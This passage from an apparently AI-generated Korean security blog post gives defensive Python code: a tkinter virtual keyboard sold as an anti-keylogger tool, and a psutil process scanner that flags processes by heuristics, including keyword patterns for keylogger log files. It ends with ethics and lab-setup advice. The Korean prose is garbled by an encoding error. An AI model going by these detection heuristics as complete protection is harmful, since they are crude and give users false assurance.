print("Press Ctrl+C to stop")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
if __name__ == '__main__':
monitor_filesystem()
๐ก๏ธ ์ํฐ ํค๋ก๊ฑฐ ์๋ฃจ์ ๊ฐ๋ฐ
์ด์ ์ง์ ์ํฐ ํค๋ก๊ฑฐ๋ฅผ ๋ง๋ค์ด๋ณผ ๊ฑฐ์ผ! ํค๋ก๊ฑฐ๋ฅผ ํ์งํ๊ณ ์ฐจ๋จํ๋ ํ๋ก๊ทธ๋จ์ ๊ฐ๋ฐํด๋ณด์. ๐
๐ ๊ฐ์ ํค๋ณด๋ ๊ตฌํ
๊ฐ์ฅ ํจ๊ณผ์ ์ธ ๋ฐฉ์ด ๋ฐฉ๋ฒ ์ค ํ๋๋ ๊ฐ์ ํค๋ณด๋๋ฅผ ์ฌ์ฉํ๋ ๊ฑฐ์ผ. ๋ฌผ๋ฆฌ์ ํค๋ณด๋ ๋์ ๋ง์ฐ์ค๋ก ํด๋ฆญํด์ ์ ๋ ฅํ๋ฉด ํค๋ก๊ฑฐ๊ฐ ๊ฐ์งํ ์ ์๊ฑฐ๋ !
import tkinter as tk
from tkinter import ttk
import pyperclip
class VirtualKeyboard:
def __init__(self):
self.root = tk.Tk()
self.root.title("๐ Virtual Keyboard - Anti-Keylogger")
self.root.geometry("800x400")
self.root.configure(bg='#2c3e50')
self.input_text = ""
self.shift_pressed = False
self.setup_ui()
def setup_ui(self):
"""UI ์ค์ """
# ์
๋ ฅ ํ์ ์์ญ
self.display_frame = tk.Frame(self.root, bg='#34495e', height=80)
self.display_frame.pack(fill=tk.X, padx=10, pady=10)
self.display_label = tk.Label(
self.display_frame,
text="",
font=('Arial', 16),
bg='#ecf0f1',
fg='#2c3e50',
anchor='w',
padx=10
)
self.display_label.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
# ํค๋ณด๋ ๋ ์ด์์
self.keyboard_frame = tk.Frame(self.root, bg='#2c3e50')
self.keyboard_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
# ํค ๋ ์ด์์ ์ ์
keys = [
['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'Backspace'],
['Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P'],
['A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L'],
['Shift', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'Clear'],
['Space', 'Copy', 'Close']
]
for row_idx, row in enumerate(keys):
row_frame = tk.Frame(self.keyboard_frame, bg='#2c3e50')
row_frame.pack(pady=5)
for key in row:
if key == 'Space':
width = 30
elif key in ['Backspace', 'Shift', 'Clear', 'Copy', 'Close']:
width = 12
else:
width = 6
btn = tk.Button(
row_frame,
text=key,
width=width,
height=2,
font=('Arial', 12, 'bold'),
bg='#3498db',
fg='white',
activebackground='#2980b9',
relief=tk.RAISED,
command=lambda k=key: self.key_pressed(k)
)
btn.pack(side=tk.LEFT, padx=3)
def key_pressed(self, key):
"""ํค ํด๋ฆญ ์ฒ๋ฆฌ"""
if key == 'Backspace':
self.input_text = self.input_text[:-1]
elif key == 'Clear':
self.input_text = ""
elif key == 'Space':
self.input_text += " "
elif key == 'Shift':
self.shift_pressed = not self.shift_pressed
return
elif key == 'Copy':
pyperclip.copy(self.input_text)
self.show_message("Copied to clipboard! โ")
return
elif key == 'Close':
self.root.destroy()
return
else:
if self.shift_pressed:
self.input_text += key.upper()
self.shift_pressed = False
else:
self.input_text += key.lower()
self.update_display()
def update_display(self):
"""๋์คํ๋ ์ด ์
๋ฐ์ดํธ"""
# ๋ณด์์ ์ํด ๋ง์คํน ์ต์
display_text = self.input_text
# display_text = '*' * len(self.input_text) # ๋ง์คํนํ๋ ค๋ฉด ์ด ์ค ์ฌ์ฉ
self.display_label.config(text=display_text)
def show_message(self, message):
"""์์ ๋ฉ์์ง ํ์"""
original_text = self.display_label.cget('text')
self.display_label.config(text=message, fg='#27ae60')
self.root.after(2000, lambda: self.display_label.config(
text=original_text, fg='#2c3e50'
))
def run(self):
"""ํ๋ก๊ทธ๋จ ์คํ"""
self.root.mainloop()
if __name__ == '__main__':
keyboard = VirtualKeyboard()
keyboard.run()
ํค๋ก๊ฑฐ ๋ฌด๋ ฅํ: ๋ฌผ๋ฆฌ์ ํค๋ณด๋ ์ ๋ ฅ์ด ์์ผ๋ ํค๋ก๊ฑฐ๊ฐ ๊ฐ์งํ ์ ์์ด.
๋ง์คํน ๊ธฐ๋ฅ: ํ๋ฉด์ ํ์๋๋ ๋ด์ฉ๋ ๋ง์คํนํ ์ ์์ด์ ์ด๊นจ ๋๋จธ ๊ณต๊ฒฉ๋ ๋ฐฉ์ด ๊ฐ๋ฅ.
ํด๋ฆฝ๋ณด๋ ๋ณด์: ์ง์ ํด๋ฆฝ๋ณด๋์ ๋ณต์ฌํ๋ ๊ธฐ๋ฅ์ผ๋ก ์์ ํ๊ฒ ๋น๋ฐ๋ฒํธ ์ ๋ ฅ ๊ฐ๋ฅ.
์๊ฐ์ ํผ๋๋ฐฑ: ์ฌ์ฉ์๊ฐ ์ ๋ ฅ ๋ด์ฉ์ ํ์ธํ ์ ์์ด ํธ๋ฆฌํด.
๐จ ์ค์๊ฐ ํค๋ก๊ฑฐ ํ์ง ์์คํ
import psutil
import time
import threading
from collections import defaultdict
import win32api
import win32process
import win32con
class RealtimeKeyloggerDetector:
def __init__(self):
self.suspicious_processes = set()
self.process_stats = defaultdict(dict)
self.monitoring = True
def check_process_behavior(self, proc):
"""ํ๋ก์ธ์ค ํ๋ ๋ถ์"""
try:
pid = proc.pid
name = proc.name()
# CPU ์ฌ์ฉ๋ฅ ์ฒดํฌ
cpu_percent = proc.cpu_percent(interval=0.1)
# ๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ๋
mem_info = proc.memory_info()
mem_mb = mem_info.rss / 1024 / 1024
# ๋คํธ์ํฌ ์ฐ๊ฒฐ
connections = proc.connections()
# ์ด๋ฆฐ ํ์ผ
try:
open_files = proc.open_files()
except:
open_files = []
# ์์ฌ์ค๋ฌ์ด ํจํด ์ฒดํฌ
suspicion_score = 0
reasons = []
# 1. ๋ฎ์ CPU ์ฌ์ฉ๋ฅ + ๋คํธ์ํฌ ์ฐ๊ฒฐ (๋ฐฑ๊ทธ๋ผ์ด๋ ์ ์ก)
if cpu_percent < 5 and len(connections) > 0:
suspicion_score += 2
reasons.append("Low CPU with network activity")
# 2. ์์คํ
ํด๋๊ฐ ์๋ ๊ณณ์์ ์คํ
try:
exe_path = proc.exe().lower()
if 'system32' not in exe_path and 'program files' not in exe_path:
suspicion_score += 1
reasons.append("Non-system location")
except:
pass
# 3. ๋ก๊ทธ ํ์ผ ์ฐ๊ธฐ
for f in open_files:
if any(ext in f.path.lower() for ext in ['.log', '.txt', '.dat']):
if any(word in f.path.lower() for word in ['key', 'log', 'pass']):
suspicion_score += 3
reasons.append(f"Suspicious file: {f.path}")
# 4. ์จ๊ฒจ์ง ์ฐฝ (GUI ํ๋ก๊ทธ๋จ์ธ๋ฐ ์ฐฝ์ด ์์)
try:
import win32gui
def enum_windows_callback(hwnd, pid_list):
if win32process.GetWindowThreadProcessId(hwnd)[1] == pid:
pid_list.append(hwnd)
windows = []
win32gui.EnumWindows(enum_windows_callback, windows)
if len(windows) == 0 and name.endswith('.exe'):
suspicion_score += 2
reasons.append("Hidden window")
except:
pass
if suspicion_score >= 3:
return {
'pid': pid,
'name': name,
'score': suspicion_score,
'reasons': reasons,
'cpu': cpu_percent,
'memory': mem_mb,
'connections': len(connections)
}
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
return None
def scan_processes(self):
"""๋ชจ๋ ํ๋ก์ธ์ค ์ค์บ"""
suspicious = []
for proc in psutil.process_iter():
result = self.check_process_behavior(proc)
if result:
suspicious.append(result)
return suspicious
def monitor_loop(self):
"""๋ชจ๋ํฐ๋ง ๋ฃจํ"""
print("๐ Real-time Keylogger Detection Started")
print("=" * 60)
while self.monitoring:
suspicious = self.scan_processes()
if suspicious:
print(f"\nโ ๏ธ [{time.strftime('%H:%M:%S')}] Found {len(suspicious)} suspicious processes:")
for proc in suspicious:
print(f"\n๐จ {proc['name']} (PID: {proc['pid']})")
print(f" Suspicion Score: {proc['score']}/10")
print(f" CPU: {proc['cpu']:.1f}% | Memory: {proc['memory']:.1f}MB")
print(f" Network Connections: {proc['connections']}")
print(f" Reasons:")
for reason in proc['reasons']:
print(f" - {reason}")
time.sleep(10) # 10์ด๋ง๋ค ์ค์บ
def start(self):
"""ํ์ง ์์"""
monitor_thread = threading.Thread(target=self.monitor_loop, daemon=True)
monitor_thread.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n\n๐ Monitoring stopped")
self.monitoring = False
if __name__ == '__main__':
detector = RealtimeKeyloggerDetector()
detector.start()
โข ์ํฐ๋ฐ์ด๋ฌ์ค + ์ํฐ ํค๋ก๊ฑฐ ์ ์ฉ ํ๋ก๊ทธ๋จ
โข ๋คํธ์ํฌ ๋ฐฉํ๋ฒฝ + ์นจ์ ํ์ง ์์คํ
โข ์ ๊ธฐ์ ์ธ ์์คํ ์ค์บ + ํ๋ ๊ธฐ๋ฐ ๋ถ์
โข ์ฌ์ฉ์ ๊ต์ก + ๋ณด์ ์์ ํฅ์
๐ ๋ณด์ ์ฐ๊ตฌ์๋ฅผ ์ํ ์ค์ ํ
์, ์ด์ ์ค์ ๋ก ๋ณด์ ์ฐ๊ตฌ๋ฅผ ํ ๋ ์์๋๋ฉด ์ข์ ํ๋ค์ ๊ณต์ ํ ๊ฒ! ์ด๊ฑด ๋ด๊ฐ ์ฌ๋ฌ ๋ณด์ ์ ๋ฌธ๊ฐ๋ค๊ณผ ๊ต๋ฅํ๋ฉด์ ๋ฐฐ์ด ์ค์ ๋ ธํ์ฐ์ผ. ๐
๐ฌ ์์ ํ ํ ์คํธ ํ๊ฒฝ ๊ตฌ์ถ
์ถ์ฒ ์ค์ :
โข Windows 10/11 ๊ฐ์ ๋จธ์ (๋ณด์ ์ฐ๊ตฌ์ฉ)
โข ๋คํธ์ํฌ: NAT ๋๋ Host-only (์ธํฐ๋ท ์ฐจ๋จ)
โข ์ค๋ ์ท: ๊นจ๋ํ ์ํ ์ ์ฅ
โข ๊ณต์ ํด๋: ๋นํ์ฑํ (๊ฒฉ๋ฆฌ ์ ์ง)
๐ ๋ฒ์ ๊ณ ๋ ค์ฌํญ
โข ์์ ์ ์ปดํจํฐ์์ ํ ์คํธ
โข ๊ต์ก ๋ชฉ์ ์ ์ฝ๋ ์์ฑ ๋ฐ ๋ถ์
โข ํ๊ฐ๋ฐ์ ๋ชจ์ ํดํน (Penetration Testing)
โข ๋ณด์ ์ทจ์ฝ์ ์ฐ๊ตฌ ๋ฐ ๋ณด๊ณ
โ ๊ธ์ง๋๋ ๊ฒ:
โข ํ์ธ์ ์ปดํจํฐ์ ๋ฌด๋จ ์ค์น
โข ๊ฐ์ธ์ ๋ณด ๋ฌด๋จ ์์ง
โข ์ ์์ ๋ชฉ์ ์ ๋ฐฐํฌ
โข ํ๊ฐ ์๋ ์์คํ ์นจํฌ
๐ ๏ธ ์ ์ฉํ ๋๊ตฌ๋ค
| ๋๊ตฌ ์ด๋ฆ | ์ฉ๋ | ํน์ง |
|---|---|---|
| Process Monitor | ํ๋ก์ธ์ค ๋ชจ๋ํฐ๋ง | ์ค์๊ฐ ํ์ผ/๋ ์ง์คํธ๋ฆฌ ํ๋ ์ถ์ |
| Wireshark | ๋คํธ์ํฌ ๋ถ์ | ํจํท ์บก์ฒ ๋ฐ ๋ถ์ |
| IDA Pro | ๋ฆฌ๋ฒ์ค ์์ง๋์ด๋ง | ๋ฐ์ด๋๋ฆฌ ๋ถ์ ๋ฐ ๋์ปดํ์ผ |
| OllyDbg | ๋๋ฒ๊น | ๋์ ๋ถ์ ๋ฐ ๋๋ฒ๊น |
| Regshot | ๋ ์ง์คํธ๋ฆฌ ๋น๊ต | ์ค์น ์ ํ ๋ณ๊ฒฝ์ฌํญ ์ถ์ |
๐ผ ์ฌ๋ฅ๋ท์์ ๋ณด์ ์คํฌ ๊ณต์ ํ๊ธฐ
ํน์ ๋ณด์ ๋ถ์ผ์ ๊ด์ฌ์ด ๋ง๋ค๋ฉด, ์ฌ๋ฅ๋ท(https://www.jaenung.net)์์ ์์ ์ ์ง์์ ๊ณต์ ํ๊ฑฐ๋ ๋ค๋ฅธ ์ ๋ฌธ๊ฐ๋ค๊ณผ ๊ต๋ฅํ ์ ์์ด! ๋ณด์ ์ปจ์คํ , ์ฝ๋ ๋ฆฌ๋ทฐ, ๊ต์ก ๋ฑ ๋ค์ํ ํํ๋ก ์ฌ๋ฅ์ ๊ฑฐ๋ํ ์ ์๊ฑฐ๋ . ๋๋ ๊ฐ๋ ์ฌ๋ฅ๋ท์์ ๋ณด์ ๊ด๋ จ ์ง๋ฌธ์ ๋ต๋ณํ๋ฉด์ ๋ง์ด ๋ฐฐ์ฐ๊ณ ์์ด. ๐ค
1. ๊ธฐ์ด ํํํ: ์ด์์ฒด์ , ๋คํธ์ํฌ, ํ๋ก๊ทธ๋๋ฐ ๊ธฐ์ด๋ฅผ ํ์คํ ๋ค์ ธ
2. ์ค์ ๊ฒฝํ: CTF(Capture The Flag) ๋ํ ์ฐธ๊ฐ, Bug Bounty ํ๋ก๊ทธ๋จ ๋์
3. ์ปค๋ฎค๋ํฐ ํ๋: ๋ณด์ ์ปจํผ๋ฐ์ค ์ฐธ์, ์จ๋ผ์ธ ์ปค๋ฎค๋ํฐ ํ๋
4. ์ง์์ ํ์ต: ์๋ก์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ๊ณผ ๋ฐฉ์ด ๊ธฐ์ ๊พธ์คํ ๊ณต๋ถ
5. ์ค๋ฆฌ ์์: ํญ์ ํฉ๋ฒ์ ์ด๊ณ ์ค๋ฆฌ์ ์ธ ๋ฒ์ ๋ด์์ ์ฐ๊ตฌ
๐ฎ ๋ฏธ๋์ ํค๋ก๊ฑฐ์ ๋ฐฉ์ด ๊ธฐ์
๊ธฐ์ ์ ๊ณ์ ๋ฐ์ ํ๊ณ ์์ด. ๋ฏธ๋์๋ ์ด๋ค ํํ์ ํค๋ก๊ฑฐ๊ฐ ๋์ฌ๊น? ๊ทธ๋ฆฌ๊ณ ์ฐ๋ฆฌ๋ ์ด๋ป๊ฒ ๋๋นํด์ผ ํ ๊น? ๐
๐ค AI ๊ธฐ๋ฐ ํค๋ก๊ฑฐ
ํ์ง๋ง ๋ฐฉ์ด ๊ธฐ์ ๋ ๋ฐ์ ํ๊ณ ์์ด! AI ๊ธฐ๋ฐ ํ๋ ๋ถ์ ์์คํ ์ ์ ์์ ์ธ ํ๋ก๊ทธ๋จ ๋์๊ณผ ์ ์ฑ ํ์๋ฅผ ๊ตฌ๋ถํ ์ ์๊ฒ ๋์์ง. ๐ง
๐ ํ๋์จ์ด ๊ธฐ๋ฐ ๋ณด์
๋ํ ์์ฒด ์ธ์ฆ(์ง๋ฌธ, ์ผ๊ตด ์ธ์)์ด ๋ ๋ณดํธํ๋๋ฉด์ ํค๋ณด๋ ์ ๋ ฅ ์์ฒด๊ฐ ์ค์ด๋ค ๊ฑฐ์ผ. ๋น๋ฐ๋ฒํธ ๋์ ์์ฒด ์ ๋ณด๋ก ์ธ์ฆํ๋ฉด ํค๋ก๊ฑฐ์ ์ํ์ด ํฌ๊ฒ ๊ฐ์ํ๊ฒ ์ง? ๐
๐ ์ ๋ก ํธ๋ฌ์คํธ ์ํคํ ์ฒ
๋ฏธ๋์ ๋ณด์ ํจ๋ฌ๋ค์์ '์ ๋ก ํธ๋ฌ์คํธ(Zero Trust)'์ผ. ์๋ฌด๊ฒ๋ ์ ๋ขฐํ์ง ์๊ณ ๋ชจ๋ ๊ฒ์ ๊ฒ์ฆํ๋ ๊ฑฐ์ง. ํค ์ ๋ ฅ ํ๋ํ๋๋ ๊ฒ์ฆํ๊ณ , ๋ชจ๋ ํ๋ก์ธ์ค์ ํ๋์ ์ค์๊ฐ์ผ๋ก ๋ถ์ํด. ์ด๋ ๊ฒ ๋๋ฉด ํค๋ก๊ฑฐ๊ฐ ์ค์น๋๋๋ผ๋ ๋ฐ์ดํฐ๋ฅผ ๋นผ๋ด๊ธฐ๊ฐ ํจ์ฌ ์ด๋ ค์์ง ๊ฑฐ์ผ. ๐ก๏ธ
# ๋ฏธ๋ํ ๋ณด์ ์์คํ
๊ฐ๋
์ฝ๋
class ZeroTrustInputMonitor:
"""์ ๋ก ํธ๋ฌ์คํธ ๊ธฐ๋ฐ ์
๋ ฅ ๋ชจ๋ํฐ๋ง"""
def __init__(self):
self.ml_model = self.load_behavior_model()
self.trusted_processes = set()
self.encryption_key = self.generate_session_key()
def monitor_input(self, input_event):
"""์
๋ ฅ ์ด๋ฒคํธ ๋ชจ๋ํฐ๋ง"""
# 1. ์
๋ ฅ ์ฆ์ ์ํธํ
encrypted_input = self.encrypt_input(input_event)
# 2. ์์ฒญ ํ๋ก์ธ์ค ๊ฒ์ฆ
requesting_process = self.get_requesting_process()
if not self.verify_process(requesting_process):
self.block_and_alert(requesting_process)
return None
# 3. ํ๋ ํจํด ๋ถ์
behavior_score = self.ml_model.analyze(requesting_process)
if behavior_score < self.TRUST_THRESHOLD:
self.quarantine_process(requesting_process)
return None
# 4. ๋ณตํธํ ๋ฐ ์ ๋ฌ (์ ๋ขฐ๋ ํ๋ก์ธ์ค์๋ง)
return self.decrypt_for_trusted(encrypted_input, requesting_process)
def verify_process(self, process):
"""ํ๋ก์ธ์ค ๊ฒ์ฆ"""
# ๋์งํธ ์๋ช
ํ์ธ
if not self.check_digital_signature(process):
return False
# ์คํ ๊ฒฝ๋ก ๊ฒ์ฆ
if not self.verify_execution_path(process):
return False
# ๋คํธ์ํฌ ํ๋ ๊ฒ์ฆ
if self.has_suspicious_network_activity(process):
return False
return True
๐ ๋ง๋ฌด๋ฆฌํ๋ฉฐ
์, ์ ๋ง ๊ธด ์ฌ์ ์ด์์ง? ๐ ์ฐ๋ฆฌ๋ ํค๋ก๊ฑฐ์ ๊ธฐ๋ณธ ์๋ฆฌ๋ถํฐ ์์ํด์ ์ค์ ์ฝ๋ ๊ตฌํ, ํ์ง ๊ธฐ๋ฒ, ๊ทธ๋ฆฌ๊ณ ๋ฏธ๋ ๊ธฐ์ ๊น์ง ๋ชจ๋ ์ดํด๋ดค์ด. ์ด ๋ชจ๋ ๋ด์ฉ์ ์ ๋ฆฌํ๋ฉด์ ๋๋ ๊ฑด, ๋ณด์์ ์ ๋ง ๋์๋ ์ธ์์ด๋ผ๋ ๊ฑฐ์ผ. ๐ฅ
2. ๊ตฌํ ๋ฐฉ๋ฒ: Python(pynput), C++(Windows API), Linux(/dev/input, X11) ๋ฑ ๋ค์ํ ๋ฐฉ๋ฒ์ด ์์ด.
3. ํ์ง ๊ธฐ๋ฒ: ํ๋ก์ธ์ค ๋ถ์, ๋คํธ์ํฌ ๋ชจ๋ํฐ๋ง, ํ์ผ ์์คํ ๊ฐ์, ํ๋ ํจํด ๋ถ์.
4. ๋ฐฉ์ด ์ ๋ต: ๊ฐ์ ํค๋ณด๋, ์ํฐ๋ฐ์ด๋ฌ์ค, 2๋จ๊ณ ์ธ์ฆ, ์ ๋ก ํธ๋ฌ์คํธ ์ํคํ ์ฒ.
5. ์ค๋ฆฌ์ ์ฑ ์: ์ค์ง ๊ต์ก๊ณผ ๋ณด์ ์ฐ๊ตฌ ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํด์ผ ํด!
๋ณด์ ๋ถ์ผ๋ ์ ๋ง ๋งค๋ ฅ์ ์ธ ์์ญ์ด์ผ. ๊ธฐ์ ์ ์ผ๋ก๋ ๋์ ์ ์ด๊ณ , ์ฌํ์ ์ผ๋ก๋ ์ค์ํ ์ญํ ์ ํ๊ฑฐ๋ . ํ์ง๋ง ํญ์ ๊ธฐ์ตํด์ผ ํ ๊ฑด, ํฐ ํ์๋ ํฐ ์ฑ ์์ด ๋ฐ๋ฅธ๋ค๋ ๊ฑฐ์ผ. ๐ฆธโโ๏ธ
์ด ๊ธ์ ์ฝ๋ ์ฌ๋ฌ๋ถ์ด ์ ์์ ์ธ ๋ชฉ์ ์ด ์๋๋ผ, ๋ ์์ ํ ๋์งํธ ์ธ์์ ๋ง๋ค๊ธฐ ์ํด ์ด ์ง์์ ์ฌ์ฉํ๊ธธ ๋ฐ๋ผ. ๋ณด์ ์ฐ๊ตฌ์, ํ์ดํธ ํด์ปค, ์์คํ ๊ด๋ฆฌ์... ์ด๋ค ๊ธธ์ ์ ํํ๋ ์ค๋ฆฌ์ ์ธ ์์ธ๋ฅผ ์์ง ๋ง์! ๐ช
โข ๊ฐ์ ๋จธ์ ์์ ์ง์ ์ฝ๋๋ฅผ ์คํํด๋ด
โข CTF ๋ํ์ ์ฐธ๊ฐํด์ ์ค๋ ฅ์ ํค์๋ด
โข ๋ณด์ ์ปค๋ฎค๋ํฐ์ ๊ฐ์ ํด์ ๋ค๋ฅธ ์ฐ๊ตฌ์๋ค๊ณผ ๊ต๋ฅํด๋ด
โข ์ฌ๋ฅ๋ท์์ ๋ณด์ ๊ด๋ จ ์ฌ๋ฅ์ ๊ณต์ ํ๊ฑฐ๋ ๋ฐฐ์๋ด
โข ํญ์ ์ต์ ๋ณด์ ํธ๋ ๋๋ฅผ ๊ณต๋ถํด๋ด
๋ณด์์ ํผ์ ํ๋ ๊ฒ ์๋์ผ. ํจ๊ป ๋ฐฐ์ฐ๊ณ ์ฑ์ฅํ๋ ๊ฑฐ์ง! ๐ค
๋ง์ง๋ง์ผ๋ก, ์ด ๊ธ์์ ์๊ฐํ ๋ชจ๋ ์ฝ๋์ ๊ธฐ๋ฒ์ ๊ต์ก ๋ชฉ์ ์ด๋ผ๋ ๊ฑธ ๋ค์ ํ๋ฒ ๊ฐ์กฐํ ๊ฒ. ์ค์ ํ๊ฒฝ์์ ๋ฌด๋จ์ผ๋ก ์ฌ์ฉํ๋ฉด ๋ฒ์ ์ฒ๋ฒ์ ๋ฐ์ ์ ์์ด. ํญ์ ํฉ๋ฒ์ ์ด๊ณ ์ค๋ฆฌ์ ์ธ ๋ฒ์ ๋ด์์ ์ฐ๊ตฌํ์! โ๏ธ
๊ทธ๋ผ ์ฌ๋ฌ๋ถ์ ๋ณด์ ์ฌ์ ์ ํ์ด์ ๋น์ด! ๊ถ๊ธํ ์ ์ด ์์ผ๋ฉด ์ธ์ ๋ ๋ณด์ ์ปค๋ฎค๋ํฐ๋ ์ฌ๋ฅ๋ท์์ ์ง๋ฌธํด๋ด. ์ฐ๋ฆฌ ๋ชจ๋ ํจ๊ป ์ฑ์ฅํ๋ ๊ฑฐ๋๊น! ๐โจ
์ด ๊ธ์ ๋ณด์ ์ฐ๊ตฌ ๋ฐ ๊ต์ก ๋ชฉ์ ์ผ๋ก ์์ฑ๋์์ต๋๋ค.
๋ชจ๋ ์ค์ต์ ์์ ์ ์์คํ
๋๋ ํ๊ฐ๋ฐ์ ํ๊ฒฝ์์๋ง ์งํํ์ธ์.
๊ด๋ จ ํค์๋
๋๊ธ ์์ฑ
์ด ๊ธ์ ๋ํ ์ฌ๋ฌ๋ถ์ ์๊ฐ์ ๋ค๋ ค์ฃผ์ธ์
๋ก๊ทธ์ธ์ด ํ์ํฉ๋๋ค
๋๊ธ์ ์์ฑํ๋ ค๋ฉด ๋จผ์ ๋ก๊ทธ์ธํด์ฃผ์ธ์.
๋๊ธ 0
์ง์์ธ์ ์ฒ - ์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
์ง์ ์ฌ์ฐ๊ถ ๋ณดํธ ๊ณ ์ง
- ์ ์๊ถ ๋ฐ ์์ ๊ถ: ๋ณธ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ๋ ์ AI ๊ธฐ์ ๋ก ์์ฑ๋์์ผ๋ฉฐ, ๋ํ๋ฏผ๊ตญ ์ ์๊ถ๋ฒ ๋ฐ ๊ตญ์ ์ ์๊ถ ํ์ฝ์ ์ํด ๋ณดํธ๋ฉ๋๋ค.
- AI ์์ฑ ์ปจํ ์ธ ์ ๋ฒ์ ์ง์: ๋ณธ AI ์์ฑ ์ปจํ ์ธ ๋ ์ฌ๋ฅ๋ท์ ์ง์ ์ฐฝ์๋ฌผ๋ก ์ธ์ ๋๋ฉฐ, ๊ด๋ จ ๋ฒ๊ท์ ๋ฐ๋ผ ์ ์๊ถ ๋ณดํธ๋ฅผ ๋ฐ์ต๋๋ค.
- ์ฌ์ฉ ์ ํ: ์ฌ๋ฅ๋ท์ ๋ช ์์ ์๋ฉด ๋์ ์์ด ๋ณธ ์ปจํ ์ธ ๋ฅผ ๋ณต์ , ์์ , ๋ฐฐํฌ, ๋๋ ์์ ์ ์ผ๋ก ํ์ฉํ๋ ํ์๋ ์๊ฒฉํ ๊ธ์ง๋ฉ๋๋ค.
- ๋ฐ์ดํฐ ์์ง ๊ธ์ง: ๋ณธ ์ปจํ ์ธ ์ ๋ํ ๋ฌด๋จ ์คํฌ๋ํ, ํฌ๋กค๋ง, ๋ฐ ์๋ํ๋ ๋ฐ์ดํฐ ์์ง์ ๋ฒ์ ์ ์ฌ์ ๋์์ด ๋ฉ๋๋ค.
- AI ํ์ต ์ ํ: ์ฌ๋ฅ๋ท์ AI ์์ฑ ์ปจํ ์ธ ๋ฅผ ํ AI ๋ชจ๋ธ ํ์ต์ ๋ฌด๋จ ์ฌ์ฉํ๋ ํ์๋ ๊ธ์ง๋๋ฉฐ, ์ด๋ ์ง์ ์ฌ์ฐ๊ถ ์นจํด๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
์์ง ๋๊ธ์ด ์์ต๋๋ค.